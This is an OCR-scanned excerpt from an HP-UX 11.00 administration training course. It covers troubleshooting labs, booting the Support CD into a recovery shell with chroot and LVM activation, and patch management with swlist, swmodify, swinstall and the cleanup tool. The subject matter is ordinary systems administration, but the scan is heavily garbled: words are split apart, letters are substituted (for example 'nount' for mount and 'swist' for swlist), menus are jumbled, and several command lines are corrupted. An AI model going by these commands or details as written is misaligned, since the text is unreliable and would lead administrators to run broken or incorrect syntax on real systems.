address or hostname in/ et ¢/ rc. confi g. d/ net conf would
prevent any user from being able to login through CDE.

A lack of available pseudo tty device files would prevent a user
login.
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$HOMVE/ . profile Corrupt or inappropriate entries in the SHOVE/ . pr of i | e or the
$HOVE/ . dt prof i | e will prevent (or at least hinder) a successful
user login.

H3045S C.00 14-8 http://feducation.hp.com

00 2000 Hewlett-Packard Company



Module 14
General System Troubleshooting

14-6. LAB: Troubleshooting an HP-UX 11.00 System

Part 1: Troubleshooting System Startup Errors

1.

Execute the t r bl _st art up_1 program. The program will reboot your system. During
the reboot the system will have problems. Troubleshoot and fix the problems so the
system can reboot without any errors.

# trbl _startup_1

Execute the trbl _startup_2 program. The program will reboot your system. During
the reboot the system will have problems. Troubleshoot and fix the problems so the
system can reboot without any errors.

# trbl _startup_2

Part 2: Troubleshooting User Login Problems

3. Executetheuser | ogin_1 program The program creates a login problem for the

user account user 1. Troubleshoot and fix the error so user 1 can login without any
problems.

# user _login_ 1

4. Execute the user _| ogi n_2 program. The program creates a login problem for the user
account user 1. Troubleshoot and fix the error so user 1 can login without any
problems.

# user _login_2
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Module 15 — Troubleshooting Using the Support
CD

Objectives
Upon completion of this module, you will be able to:

¢ Use the Support CD to recover an unbootable system.
e List four scenarios in which the Support CD is best used to recover a system.

¢ Describe how the recovery shell can be used to recover a system.
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15-1. SLIDE: When to Use the Support Media

~ When to Use the Support Media

— T
S

LIF Header

PVRA / VGRA ISL
% AUTO
BDRA } /stand/Aranix
| vol 1 (/ st and)

| vol 2 (swap) /sbininit
} /etc/inittab
| vol 3 ( / ) % /etc/passwd

Bad Block Relocatio

* Not drawn to scale

Student Notes

The support media should be used when the system cannot boot from the primary boot disk
and access to the files and file systems on the primary boot disk is desired. The support
media also offers different options for trying to repair/recover a downed primary boot disk.

The above slide illustrates three situations where the support media could be used to
repair/recover a system’s primary boot disk:

¢ The LIF area (i.e. boot area) is corrupt.
e The kernel (i.e./ st and/ vnuni X) is corrupt.

e One of the system files needed to boot the system (e.g. / sbi n/ i ni t) is corrupt.
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Before Using the Support Media

Before you attempt to recover an HP-UX system using the Support Media, there is key
information about the system disk that you should have at your disposal:

¢ Revision of the HP-UX system which you are attempting to recover.

CAUTION: You should only attempt to recover HP-UX systems that match the
revision of the Support Media you are using. For example, you
should only use a 10.0 Support Media to attempt to recover a 10.0
file system. Data corruption could occur if you attempt to mix
revisions; for example, if you attempt to recover a 9.0 file system
with a 10.0 Support Media.

¢ The address of the root file system or the disk (i.e., what file system you will be checkin
or repairing using f sck).

¢ The address of the boot partition path of that disk.
¢ What the autofile in the boot partition should contain.

¢ Whether you have an LVM or non LVM system.

The procedures which follow assume that both f sck and nount can be run successfully on
the system disk; otherwise the following procedures are not applicable.
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15-2. SLIDE: Booting from the Support CD

~ Booting from the Support CD

Boot [ PRI | ALT<pat h>]
PAt h..[PRL| ALT]

Configuration menu
| nformation menu
Service menu

Di spl ay
RE!

v <pathz] ..
= "SEArch [Display|IPL] [<path®]:= Display or nodify path

Hel p [ <nenu>| <conmand>]
SET

Mai n Menu: Enter command or nmenu >

@ ecting a systemto boot. To stop sel ection process,
press and hol d t he ESCAPE key.

Sel ection _process stopped. Searching for Potential Boot
Devices. To term nate search, press and hold the ESCAPE key.

————— Main Menu --------------

Boot from specified path
Di splay or nodify path

Di spl ays or sets boot val ues
Di spl ays hardware information
Di spl ays servi ce comands

Redi spl ay the current nmenu

Di splay help
Restart the system

search ipl

wn Menu: Enter conmand or menu >b00t8/ 16/52

for menu or command

/

Note:

Output varies by model; your machine’s output may look different.

Student Notes

The procedure for booting from the support CD is listed below:

1. Load the Support CD.

2. Reset the System Processor Unit (SPU) using the reset button, or keyswitch, as

appropriate.

The console will display boot path information. If Autoboot is enabled, the system

console will eventually display a similar message to the one below:

Aut oboot from primary path enabl ed

To overri de,

press any key within 10 seconds.

3. Press any key before the 10 seconds elapse.

The system console will display the following prompt:

Boot from prinary boot

4. Enter n at the prompt.

path (Y or N)?>

The console will then display the following:

H3045S C.00
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Boot fromalternate boot path (Y or N)?>
5. If the alternate boot path specifies the address of the device where the Support Media is
mounted, enter y at the prompt.

If the alternate boot path does not specify the address of the device where the Support
Media is mounted, enter n at the prompt. If n is entered at the prompt, the following
message will be displayed on the system console:

Enter boot Path or ?>

6. Enter the address of the device where the Support Media is located:

The system console will display the following:
Interact with IPL (Y or N)>
7. Enter n at the prompt.

The system will then boot to the HP-UX Installation and Recovery Menu.
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15-3. SLIDE: Sequence of Menus from the Support CD

~ Sequence of Menus from the Support CD

Vel come to the HP-UX installation/recovery process!

HP-UX CORE MEDI A SYSTEM RECOVERY
MAI N MENU

Search for a file
Reboot

load a file

Use the tab and/or arrow keys to navigate through S.
the foll owing menus. Use the return key to select b.
an item If the nenu itens are not clear, select ( Ir
the Help itemfor nore information. X.

c.

Instal | HP- UX ]
Run a Recovery Shell ] )
Cancel and Reboot 1
Advanced Options 1
[ Help]

[
(@
[
[

This menu is for listing and |oading the tools
contai ned on the core media. hce a tool
| oaded, it may be run fromthe shell.
require other files to be present in order to
successful ly execute.

Sel ect one of the above:

Recover an unboot abl e HP- UX system ))
Exit to shell
Instructions on chrooting to a Ivm/(root)

is
Some tool s

-

Sel ect one of the follow ng:
a. Rebuild the bootlif (ISL,
file) and install all files

b. Do not rebuild the bootlif,
required to boot
root file system
Rebuil d only the bootlif.
Repl ace only the kernel on t
system

Return to “HP-UX Core Media
Exit to the shell.

X3 a°

Use this menu to select the |evel

desi red.
&el ection:

HP- UX CORE RECOVERY MENU

HPUX, and the AUTO
and recover HP-UX on the root file system

and recover HP-UX on the

N

required to boot

but install files
he root file

Mai n Menu”

of recovery

/

Student Notes

Upon booting from the Support Media, the above sequence of screens and menu can be

followed to get to the HP-UX Recovery Menu:

Vel come to the HP-UX installation process!

Use the <tab> and/or arrow keys to navigate through the foll ow ng nenus,
and use the <return> key to select an item

cl ear,

1. Select Run a Recovery Shel |l. The screen clears and the following will be displayed:

If the nenu itens are not

select the "Help" itemfor nore information.

[ I'nstall HP-UX ]
[ Run a Recovery Shell
[ Cancel and Reboot

[ Help ]

]
]

Wuld you like to start up networking at this tinme? [n]
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2. Enter n and the following will be displayed:

* Loading in a shell
* Loading in the recovery system conmands. ..

(c) Copyright 1983, 1984, 1985, 1986 Hew ett-Packard Co.
(c) Copyright 1979 The Regents of the University of Col orado, a body corporate
(c) Copyright 1979, 1980, 1983 The Regents of the University of California
(c) Copyright 1980 1984 AT&T Technol ogies. Al Ri ghts Reserved.
HP- UX SUPPCRT MEDI A
WARNI NG YOU ARE SUPERUSER !!

**x*x* device files are already created! *****

NOTE: Conmands residing in the RAM based file system are unsupported ’'mini’
commands. These conmands are only intended for recovery purposes.

Press <return> to conti nue.

3. Press and the Main Menu is displayed again:

SUPPORT MEDIA MAIN MENU
Search for a file
Reboot

Load a file
Recover an unbootabl e HP- UX system
Exit to shell

X - R,OTOW0

This menu is for listing and | oading the tools contained on the support nedia.
Once a tool is loaded, it may be run fromthe shell. Sone tools require other
files to be present in order to successfully execute.

Sel ect one of the above:

4. To begin the actual system recovery, select r . The HP-UX Recovery MENU is then
displayed:

HP-UX Recovery MENU

Sel ect one of the follow ng:

a. Rebuild the bootlif (ISL, HPUX, and the AUTO file) and install
all files required to boot and recover HP-W on a custoner’s
root file system

b Do not rebuild the bootlif but install files required to boot
and recover HP-UX on the root file system

c. Rebuild only the bootlif.

d. Replace only the kernel on the root file system

m Return to 'Support Media Main Menu'.
X. Exit to the shell.
Use this nmenu to select the level of recovery desired.
Sel ecti on:
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15-4. SLIDE: Recovery Shell

~ Recovery Shell

The recovery shell is used to access the root file system and fix
problems when the boot disk is “unbootable”.

Reasons why the boot disk becomes “unbootable” include:
— Bad or damaged LIF area
— Bad or damaged binary startup files
— Bad or damaged ASCII startup files

“Recovery shell to the rescue”

Student Notes

The recovery shell provides a means of accessing files on the primary boot disk (i.e. files in
the root file system) without having to boot from the primary boot disk.

This can be very useful in situations where the LIF area on the primary disk is corrupted, but
access to files on the root file system is desired for recovery and/or backup purposes.

The recovery shell is also useful in troubleshooting a corrupt or damage ASCII startup file on
the root file system. When the ASCII startup file has been repaired with the recovery shell,
the system can be rebooted from the primary boot disk as normal.
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15-5. SLIDE: Booting into a Recovery Shell

- Booting into a Recovery Shell

> RAM disk lvol 1
/ < /| <
shin "I RooT ~ N
m !
I vol 2
8 MB
SWAP
v
Main Memory (RAM) / | vol 3
mot(]ints
under ,—'—I—|
HP- UK OCRE NED! A SYSTEM RECO/ERY /ROOT D A
Search for a file sbin ete stand

s.
b.  Reboot
I. Load a file
X.

e HP-UX system

Exit to shell .
c. Instructions on chrooting to a |vm/(root) NOImal BOOt DISk
This nenu is for listing and | oading the tools (
contained on the core media. Once a tool is molmted by
| oaded, it may be run fromthe shell. Sonme tools o
require other files to be present in order to ChI‘OOt led]Sk)

successfully execute.

Sel ect one of the above:

Student Notes

The method used by the recovery shell to provide access to the root file system without
booting from the primary disk is through the creation of a RAM-based file system.

When the system is booted from the support media and the option to run a recovery shell is
selected, a RAM-based file system is created in memory. The RAM-based file system is 8 MB
in size and holds a minimum set of files.

The RAM-based file system can be accessed through the “HP-UX Core Media System
Recovery” menu, selection “Exit to shell”

Once in the recovery shell, the following commands can be used to gain functional access to
the root file system:

# chroot | vndi sk

# cd /ROOT; chroot /ROOT /sbhin/sh
# vgchange —-a y vg0O0

# nount -a
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15-6. SLIDE: Booting into a Recovery Shell - Logical Picture

- Booting into a Recovery Shell —
Logical Picture —

RAM disk:

vhuni X

full path name:
/ ROOT/ st and/ vimuni x

Student Notes

The logical picture of the file system when booting from the recovery shell is shown on the
above slide. The full file system picture starts with the RAM-based file system, from which
the root file system (/ dev/ vg00/ | vol 3) from the primary boot disk is mounted. The root
file system is mounted under the / ROOT mount point by executing the chr oot _| vindi sk
command.

Now, whenever a file on the root file system is accessed, the full pathname to that file will
need to have / ROOT added to the front of the pathname. For example, the

/ dev/ vgO0O0/ | vol 1 file system is normally mounted under / st and. But, when booted from
the recovery shell, the mount point directory becomes / ROOT/ st and as shown in the slide.

To allow files on the root file system to be accessed without having to used / ROOT in the full
pathname, the beginning of the file system can be redefined to start at / ROOT instead of / .
This is done with the command combination of:

# cd /ROOT; chroot /ROOT /sbhin/sh
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15-7. SLIDE: Summary of Possible Repairs with the Support CD

Support CD

LIF Header
PVRA /VGRA

% LIF Area

~_

lvoll (/stand

W}

| vol 3 (/%«A;:g

Support CD

ISL
AUTO
HPEX

Amwarix

/sbin/init
/etc/inittab
Jetc/passwd

— Summary of Possible Repairs with the

N

PVRA/VGRA

* LIF Area
~_

BDRA

Ivoll (/stand

%)

I vol 3 (/)

}

ISL
AUTO
HPUX

Amunix

/sbin/init
/etc/inittab
letc/passwd

Student Notes

Learning how to use the support media can be a valuable skill when troubleshooting an
unbootable disk. The support media can:

http://feducation.hp.com
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Repair corrupted portions of the LIF area or create/initialize a whole new LIF area
Repair a corrupted kernel or have a generic kernel added to the / st and file system.

Repair corrupted startup files (binary or ASCIT) through the recovery shell or through the
Recovery Menu.
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15-8. LAB: Recovery System in HP-UX 11.00

Directions
This lab applies to the HP-UX 11.00 operating system.

WARNING: You should know the hardware paths to the input device which
holds the HP-UX 11.xx Install and Core OS medium. You
should also know the hardware paths of the disk(s) you want to
access (for example, the root disk). If you input incorrect
paths, either the recovery tools will not work or you could
corrupt areas of the disk that you were not intending to access!

1. Perform the following tasks:

A. Reboot your system.

# cd /
# shutdown -ry O

B. Interrupt the boot sequence by pressing | ESC| on an older work-station or pressing any
key on a server or new workstation.

C. Do a search for potential boot devices.

#Mai n Menu: Enter command > sea
D. Boot from the CDROM drive.

2. Ensure that the HP-UX 11.xx Install and Core OS medium is inserted into the CDROM
drive. Then boot from this CD, and answer n (no) to the question about interacting with
ISL. Lastly, for language choice, enter 46 (or whatever number corresponds to the
language you use), and confirm your choice of language by pressing [RETURN].

Mai n Menu: Enter command > bo p2 ( insert correct numnber )
Interact with IPL (Y,N Q> n

46

<RETURN>

After a few minutes, you will see a screen similar to the following:
Wel cone to the HP-UX install ation/recovery process!

Use the tab key to navigate between fields, and the arrow keys
within fields. Use the <return/enter> key to select an item

Use the <return> or <space-bar> to pop-up a choices list. |If the
menus are not clear, select the "Help" itemfor nore information.
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Har dwar e summary: System nodel : 9000/ 778/ B132L
o e e e e oo o oo S o e e e oo +
| Disks: 5 ( 20.0 GB) | Floppies: 0 | LAN cards: 2 |
| CDs: 1 | Tapes: 1 | Menory: 128 Mv |
| Graphics Ports: O | 10 Buses: 6 | |
o e e e e oo o oo S o e e e oo +
[ Install HP-UX ]

[ Run a Recovery Shell ]
[ Advanced Options ]

[ Reboot ] [ Help ]

3. From the above Welcome screen, select Run a Recovery Shel | in order to begin the
recovery process. Also, answer n (no) to the networking question.

After a few minutes, you will see a warning screen concerning root file systems that are
mirrored. Press |RETURN|to continue.

4. After pressing [RETURN], the following status message is displayed:
Loadi ng comrands needed for recovery!

Then the following menu is displayed:

HP- UX CORE MEDI A SYSTEM RECOVERY
MAI' N MENU

Search for a file

Reboot

Load a file

Recover an unboot abl e HP- UX system

Exit to shel

I nstructions on chrooting to a lvm/(root)

O X = —ow

This menu is for listing and | oading the tools contained on the support
media. Once a tool is loaded, it may be run fromthe shell. Sone tools
require other files to be present in order to successfully execute.

Sel ect one of the above:
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5. Toload afile or files, enter | at the prompt. Something similar to the following will be
displayed:

Fil esystem kbyt es used avail %ap iused ifree iused Mounted on
/ 2011 1459 552 73% 137 343  29% ?

Enter the filenanme(s) to | oad:

6. Enter the name(s) of the file(s) you wish to load. For example:
Enter the filenanme(s) to | oad:
sh vi who grep
The file who is NOT in the SYSCMDS archive. Press to continue.

The following example lists a file f gr ep which must be loaded before the files vi and
gr ep can be loaded; it also lists a file who which is not in the load list.

NOTE: Since . / usr/ bi n/ grep islinked to . / usr/ bi n/fgrep,./usr/bin/fgrep
must precede . / usr/ bi n/ gr ep in the load list.

*kkkkkkx THE REQJESTED FI LE(S) *kkkkkkkkx*k
./sbin/sh ./usr/bin/vi ./usr/bin/grep

I's the above load list correct [n]?

7. You decide that this load list is INCORRECT, because . / usr/ bi n/ f gr ep does not
precede . / usr/ bi n/ gr ep in the list of requested files, and so you enter n. The
following is displayed:

Not hing will be | oaded!

Press <RETURN> to conti nue.
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8. Press |RETURN|and you return to the Main Menu:

HP- UX CORE MEDI A SYSTEM RECOVERY
MAI' N MENU

Search for a file

Reboot

Load a file

Recover an unboot abl e HP- UX system

Exit to shell

I nstructions on chrooting to a lvm/(root)

O X =S —ow

This nenu is for listing and | oading the tools contained on the
support nedia. Once a tool is loaded, it may be run fromthe shell.
Some tools require other files to be present in order to successfully
execut e.

Sel ect one of the above:

9. Select| again to load for a file. When prompted to enter the filenames to load, type
i oscan.

Enter the filenanme(s) to | oad:
i oscan

The following will be displayed:
*kkkkkkkkx THE REQJESTED FI LE(S). *kkkkkhkkkhkkhkkx*k

./Isbin/ioscan ./usr/sbin/ioscan

Is the above load list correct? [n]

Enter y to start |oad of ioscan files.
xxxxxxxx%  downl oading the files ***xxxkxx

X ./sbin/ioscan, 167936 bytes, 328 tape bl ocks
X ./lusr/sbin/ioscan synbolic link to /sbin/ioscan

Press <RETURN> to return to Main Menu

10. Press |RETURN| to return to Main Menu.
HP- UX CORE MEDI A SYSTEM RECOVERY
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11.

MAI' N MENU

Search for a file

Reboot

Load a file

Recover an unboot abl e HP- UX system

Exit to shell

Instructions on chrooting to a lvm/(root)

O X =S —oonw

This menu is for listing and | oading the tools contained on the
support nedia. Once a tool is loaded, it may be run fromthe shell.
Some tools require other files to be present in order to successfully
execute.

Sel ect one of the above:

Now select X to exit to a shell.
Select one of the above: X

At the # prompt enter the following command:

# pwd
/
# 1s -1 /sbin/ioscan

Notice that the i oscan file that you loaded was placed in this small MEMORY-BASED
file system

Enter nenu at the # prompt to return to the Main Menu. You will see the following menu
again:

#menu

HP- UX CORE MEDI A SYSTEM RECOVERY
MAI' N MENU

Search for a file

Reboot

Load a file

Recover an unboot abl e HP- UX system

Exit to shell

Instructions on chrooting to a lvm/ (root)

O X = —own

This nmenu is for listing and | oading the tools contained on the
support nedia. Once a tool is loaded, it can be run fromthe shell.
Sone tools require other files to be |loaded in order to successfully
execut e.

Sel ect one of the above:
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12. This time select s to search for a file you wish to load. You will see the following display:

Ei ther enter the filename(s) to be searched for, or ’all’ for a total listing.

13. Enter the following:
vi awk /sbin/sh who

Either enter the filename(s) to be searched for, or al | for a total listing.

You will receive the following response:

.lusr/ bin/vi
.l usr/ bi n/ ank
./ sbin/sh

**** The file "who was not found in the SYSCVMDS archive. ****

<Press RETURN to continue I|isting>

14. Press to continue the listing. Press [RETURN|again and the HP-UX Core Media
System Recovery Main Menu is displayed again:

HP- UX CORE MEDI A SYSTEM RECOVERY
MAI' N MENU

Search for a file

Reboot

Load a file

Recover an unboot abl e HP- UX system

Exit to shell

I nstructions on chrooting to a lvm/(root)

O X = —ow

This nmenu is for listing and | oading the tools contained on the
core media. Once a tool is loaded, it can be run fromthe shell.
Sone tools require other files to be |loaded in order to successfully
execut e.

Sel ect one of the above:
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15.

16.

17.

18.

We will now exit to a shell and manually mount and access the / and/ st and file
systems from your system disk. Select ¢ from the HP-UX CORE MEDIA SYSTEM
RECOVERY Main Menu. This will allow you to read instructions for chr oot i ng to an
LVM/ (root) disk. The following will be displayed:

Exit to the shell and run ’'chroot | vndi sk’.

# chroot | vndi sk

Select x from the HP-UX CORE MEDIA SYSTEM RECOVERY Main Menu. This will
allow you to exit to the shell.

Select one of the above: x

Type |RETURN| to return to the menu environment.

Execute the chr oot | virdi sk command.
# chroot | vndi sk

Enter the hardware path associated with the '/’ (ROOT) file system

(exanple: 8/12.6.0 )

Type |RETURN| to accept the example (default) as your root file system hardware path;
otherwise, enter the hardware path for the root file system hardware you wish to specify
in its place.
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19. You then see the message:

20.

21.

Is 8/4.8.0 the hardware path of the root/boot disk?[y|n|q]-

Since this hardware path is correct, just press y (yes) and press |RETURN|.
Is 8/4.8.0 the hardware path of the root/boot disk?[y|n|q]-y

[ sbin/fs/hfs/fsck -c 0 -y /dev/rdsk/cOt 6d0sll vm
** [ dev/rdsk/cOt 6d0sl1l vm

** Last Mounted as /stand

** Phase 1 - Check Bl ocks and Sizes

** Phase 2 - Check Pat hnames

** Phase 3 - Check Connectivity

** Phase 4 - Check Reference Counts
** Phase 5 Check Cyl groups

24 files, 0 icont, 24104 used, 43629 free (53 frags, 5447 bl ocks)
Mounting cOt6d0sllvmto Core Tape's /ROOT directory...

/sbin/fs/vxfs/fsck -y /dev/rdsk/cOt 60s2l vm

file systemclean - log replay is not required

/ sbin/fs/vxfs/mount /dev/dsk/cOt 6d0s2l vm / ROOT

/ sbin/fs/ hfs/mount /dev/dsk/cOt 6d0sll vm / ROOT/ st and

| oadi ng / usr/sbin/chroot

X ./usr/sbin/chroot 12288 bytes 32 tape bl ocks

Enter ’'cd /ROOT; chroot /ROOT /sbin/sh’ at the shell pronpt to chroot to
the custoner’s /(root) disk.

At the # prompt, enter cd / ROOT; chr oot / ROOT /sbi n/ sh.

# cd /ROOT; chroot /ROOT /sbin/sh
#

Your current working directory is now the root directory of the real disk-based file
system. You can now access files in your system / and/ st and file systems. This allows
you to modify files that may be corrupt or missing. Note that you will need to use the

I s -1 command instead of the more comfortable | | command.

Use the vgchange command, as follows:

# vgchange -a y /dev/vg00
Activated vol une group
Vol une group "/dev/vg00" has been successfully changed

This will activate vg00, so that you can get to your swap area, / usr, etc. If you need to
access files in other file systems on your system disk, such as / usr or/ hone, you will
need to execute vgchange. Use the vgdi spl ay command, as follows:

http://feducation.hp.com 15-19 H3045S C.00

00 2000 Hewlett-Packard Company



Module 15
Troubleshooting Using the Support CD

22.

23.

24.

# vgdi spl ay

Notice the output says that the VG Status is available , and that, for Cur LV, there are
eight logical volumes. Now, use the vgdi spl ay command again, this time with the
ver bose option, as follow:

# vgdi splay -v

The logical volumes within the volume group corresponding to the various components
(/ ,swap,/ usr,/ home,/tnp,/var,/ opt) are listed.

You must know which | vol is for swap (usually | vol 2) and which | vol is for/ usr
(usually | vol 6).

Enter nount - a to mount all of the secondary file systems.
# nount -a

You may receive a warning message regarding the / or/ st and file system but this can
be disregarded. However, if you receive an error that specifies one of the secondary file
systems, then you must f sck that file system before it can be mounted. Enter a swapon
command, as follows

# swapon /dev/vg00/Ivol 2

Since the file systems are now mounted, we can use tools like bdf .
# bdf
Enter unount - a to unmount all secondary file systems before going back to main

menu.

# unount -a

unount may complain about / ROOT and also about / ROOT/ st and. These complaints
many be safely ignored at this time.

Enter exit to exi t out of chr oot shell.

# exit
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25. Enter nenu to return to the main menu.

# nmenu

HP- UX CORE MEDI A SYSTEM RECOVERY
MAI' N MENU

Search for a file

Reboot

Load a file

Recover an unboot abl e HP- UX system

Exit to shell

I nstructions on chrooting to a lvm/(root)

O X = —ow

This nmenu is for listing and | oading the tools contained on the
support nedia. Once a tool is loaded, it can be run fromthe shell.
Sone tools require other files to be |oaded in order to successfully
execute.

Sel ect one of the above:

26. Enter b to reboot the system.

Sel ect one of the above: b
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Module 16 — Patch Management at HP-UX 11.00

Objectives
Upon completion of this module, you will be able to:

e List four new patch management attributes introduced with HP-UX 11.00.

* List four additional patch management tools which can be added to an HP-UX 11.00
system through a patch.

¢ Describe the procedure for committing a patch.
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16-1. SLIDE: Patch Management

~ Patch Management

e At 10.x, the real management of patches is not done by SD, it’'s done by
the scripts.

e At 11.0, the real management of patches is done by SD, not by the
scripts.

— Patch information is kept in the IPD

— New attributes related to patch management at HP-UX 11.00:

i s_patch
patch_state
super seded_by
super sedes

— Software Distributor at 11.00 can easily distinguish patches;
Software Distributor at 10.x cannot distinguish patches.

Student Notes

Software Distributor (SD) is much more “patch aware” at HP-UX 11.00. At HP-UX 10.20,
patch management was done through SD scripts, like:

« checkinstall,preinstall,andpostinstall tomanage patch installation
e checkrenove, pr er enove, and post r enbve to manage patch removal

Now at HP-UX 11.00, real patch management is done by SD, not by scripts. Now at HP-UX
11.00, SD can:

¢ Differentiate products which are software patches from those products which are not
software patches.

e Commit existing patches to the system, freeing up disk space used by “saved” files. By
committing a patch, an agreement is made that the patch will “never” be removed,
allowing the old save files to be removed.

¢ List which patches a new patch supercedes. For new patches, SD can list the existing
patches for which the new patch super cedes.
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e List which patches an older patch has been superceded_by. For older patches, SD can list
any newer patches for which the older patch has been super ceded_by.
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16-2. SLIDE: New Attribute: i s_pat ch

— New Attribute: i s_pat ch

¢ A new attribute included when defining a SD product at 11.00 (in
the Product Specification File):

e Ifi s_patchisset to true, SD knows it’s a patch.

I s_patch

# swist -1 product -a is_patch
Accounti ng fal se
Audi oSubsyst em fal se
CDE fal se
CPS fal se
Cur ses- Col or fal se
DCE- Cor e fal se
PHCO 13316 true
PHCO 13363 true
PHCO 14177 true
PHCO 15768 true
PHCO 17321 true

Student Notes

All information about an SD product is contained in a Product Specification File (PSF). A
new PSF field called i s_pat ch allows SD to differentiate a SD patch product from the other

SD products.

The command to list which SD products are patches and which are not patches is:

# swist - product —a is_patch

H3045S C.00
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16-3. SLIDE: New Attribute: patch _state

— New Attribute: pat ch_st at e

e The “patch_state” attribute can be:

appl i ed
comm tted
super seded
# swist -1 patch -a patch_state \*.\*, c=patch
# PHCO_13316. CORE- SHLI BS OS- Cor e. CORE- SHLI BS appl i ed
# PHCO 13363. UX- CORE OS-Core. UX- CORE super seded
<% PHCO 14177 SYS- ADM N O5- Cor e. SYS- ADM N aoolj_b
# PHCO_14177. UX- CORE OS- Cor e. UX- CORE appl i ed
# PHCO_15768. C-M N OS-Core.CMN super seded
# PHCO_15768. CORE- SHLI BS OS- Cor e. CORE- SHLI BS super seded
# PHCO_15768. PROG- AUX Pr ogSupport . PROG AUX super seded
# PHCO_15768. PROG-M N ProgSupport. PROG M N super seded
# PHCO_17321. UX- CORE OS- Cor e. UX- CORE appl i ed

Notice that PHCO_13363 has been superseded.
Q: Which patch superseded PHCO_13363?

Student Notes

The new pat ch_st at e attribute lists the current status of specified patches.

The possible values for the pat ch_st at e variable are:

APPLIED

SUPERSEDED

COMMITTED

When a patch is in this state, it indicates the patch is installed, it is a
current patch (i.e. it has NOT been superceded), and the saved files are
available in case the patch needs to be rolled off the system.

When a patch is in this state, it indicates the patch has been made
“obsolete” by a newer patch. It also means the patch cannot be
removed from the system until the newer patch is first removed.
Saved files are still available for patches in the SUPERSEDED state.

When a patch is in this state, it indicates the saved files for the patch
have been removed. This means the patch can NOT be removed from
the system since there is no known previous set of files to restore.
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16-4. SLIDE: New Attributes: super sedes, superseded by

~— New Attributes: super sedes,
super seded_by S

e These two attributes now make it possible to view which patches
supersede which other patches

e To answer the question “ which patch superseded PHCO_13363 ?”,
the -a superseded_by can be used
# swist -1 patch -a superseded_by PHCO 13363

# PHCO 13363. UX- CORE <. PHCO_17321. UX- CORE, I'=/ , r=1. 0, a=HPUX_B. 11. 00_32/ 64,
V=HP, { aHP- UX_B. 11, 0032/ 84—

e The patches which PHCO_17321 can be viewed with the
-a super sedes option

# swist -1 patch -a supersedes PHCO 17321
# PHCO_17321. UX- CORE “PHOO_13363. UX- CORE, Fr =*
Student Notes

In HP-UX 10.20, the patch history log was kept in the / var / adni sw pat ch/ PATCH. | og
file. At HP-UX 11.00, this file is no longer needed (therefore no longer written to) due to
patch history information being kept in the Installed Product Database (IPD).

With HP-UX 11.00 the attributes super sedes and super ceded_by will display patch
history information for a given patch.

If it is desired to list which newer patch superseded an older patch:
# swist —I patch —a superseded_by <ol d_patch_nane>
If it is desired to list all the older patches for which a new patch supersedes:

# swist —I patch —a supersedes <new_patch_nane>
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16-5. SLIDE: Location of Roll-Back Files

~ Location of Roll-Back Files

var etc
adm
S
l
| \
pat ch save

( 1o|. X) (11. ‘00)

Student Notes

The name of the directory in which the “roll-back” files (i.e. backout files) are stored changes
from HP-UX 10.20 to HP-UX 11.00.

The name of the directory in HP-UX 10.x is / var / adm sw/ pat ch.

The name of the directory in HP-UX 11.00 is / var / adnf sw/ save.
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16-6. SLIDE: The conm tt ed Patch State

— The conmi t t ed Patch State

Patches can be committed by using the swodi f y command.
swrodi fy -x patch_commit=true PHCO 13363.\*

¢ [t is possible to commit both superseded and applied patches.
¢ You must be root to commit patches.

¢ Under normal circumstances, patches can be removed because
the “back out” files have been saved by swinstall in the
[ var/ adnm sw save directory.

e If you “commit” a patch; you have removed the “back out” files
and can never remove the patch that you just committed.

Student Notes

When a patch is installed on HP-UX| the original files are saved prior to being overwritten by
the patch. This is done so that if the patch needs to be removed, the system can be returned
to the pre-patch state (prior to the patch being installed).

The location of the saved files is / var / adnf sw/ save.

Many times, due to the quantity of patches and size of the saved files, the amount of disk
space needed to store all the saved files can get very large. If it is known that a certain patch
will not be removed, then the saved files associated with that patch can be removed through
the new commit feature.

The commit feature allows the saved files to be removed for a particular patch, but it requires
the system administrator to commit to always keeping the particular patch on the system.

The command to commit a specific patch, thereby freeing up disk space previously used by
saved files is:

# swnodify —x patch_commit=true <patch_nane>
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16-7. SLIDE: Patch Management with swi nst al |

— Patch Management with swi nst al |

¢ Products and patches can be installed at the same time, as long
as they are in the same depot:

swi nstall -s <SourceDepot> -x autoreboot=true \
-X autosel ect_patches = true <SoftwareSel ections>
e Patches can be committed at install time using swi nst al | :

swi nstall -s <SourceDepot> -x patch_commt=true \
<Pat ch_Sel ecti ons>

Student Notes
Two new features of the swi nst al | command introduced with HP-UX 11.00 are:

¢ Automatic selection and installation of related-patches when a product is installed.. The
patches need to reside in the same depot as the product in order for the automatic
selection feature to succeed.

¢ The ability to perform patch committals during the installation of the patch, as opposed
to using the swnodi f y command after the patch has been installed.

By default, on HP-UX 11.00, every time a SD product is installed, the depot containing that
product is searched for any related patches corresponding to the product. If a related patch
is found, the patch is automatically applied. If two patches for the product exist, then only
the most current patch is applied.

To disable the automatic selection of patches, type:

# swinstall —-s <depot> -x autosel ect=fal se <SoftwareSel ecti on>
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By default, patches are NOT committed during the installation of the patch. This means that
saved files are created in case the patch needs to be rolled-back. If it is desired to NOT have
the saved files, then the patch can be committed during the installation by typing:

# swinstall —s <depot> -x patch _commt=true <PatchSel ecti on>
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16-8. SLIDE: Additional Patch Management Tools

~ Additional Patch Management Tools

* The patch PHCO 18519 provides four additional patch mgmt tools:

cl eanup
show_pat ches
check_pat ches
renove_pat ches

* A similar patch tool set exist at 10.x in patch PHCO_12140.

Student Notes

Auxiliary patch management tools are available through the PHCO 18519 patch. These
additional tools perform a variety of different functions that may be useful when managing a
large number of patches.

The additional tools in PHCO 18519 include:

cl eanup The cl eanup tool performs removes 10.x patches from an 11.00
system, and removes superseded patches from existing depots.

show_pat ches The show_pat ches tool displays all the active or superseded
patches on the system.

check_pat ches The check_pat ches tool checks for common problems and
issues related to patch management.

renove_pat ches The r enove_pat ches tool provides a mechanism for removing
patches according to specific category tags.
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16-9. SLIDE: The cl eanup Tool at HP-UX 11.00

— The cl eanup Tool at HP-UX 11.00

e The cl eanup tool performs two functions at 11.00:

— It cleans up any remaining 10.x patches after
upgrading a system to HP-UX 11.00. This should
be executed after every upgrade from 10.x to 11.00.

# cl eanup -i

— It cleans up any superseded patches in the same
depot as the patch which supersedes it. This
should be executed every time patches are added to
a depot.

# cl eanup -d <depot >

Student Notes
The cl eanup utility can perform two functions.

¢ First, it can be used to remove 10.x patches from the Installed Product Database after
updating to HP-UX 11.00. The syntax for performing this function is:

# cl eanup -l

¢ Second, it can be used to remove patches from a software depot if the patches have been
superseded by patches also available in the same depot. The syntax for performing this
function is:

# cl eanup —d <depot nane>
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16-10. SLIDE: The show _pat ches Tool

~— The show pat ches Tool

e The show_pat ches tool displays all the active or
superseded patches on the system

¢ To list all the active patches on the system:

# show_patches -a

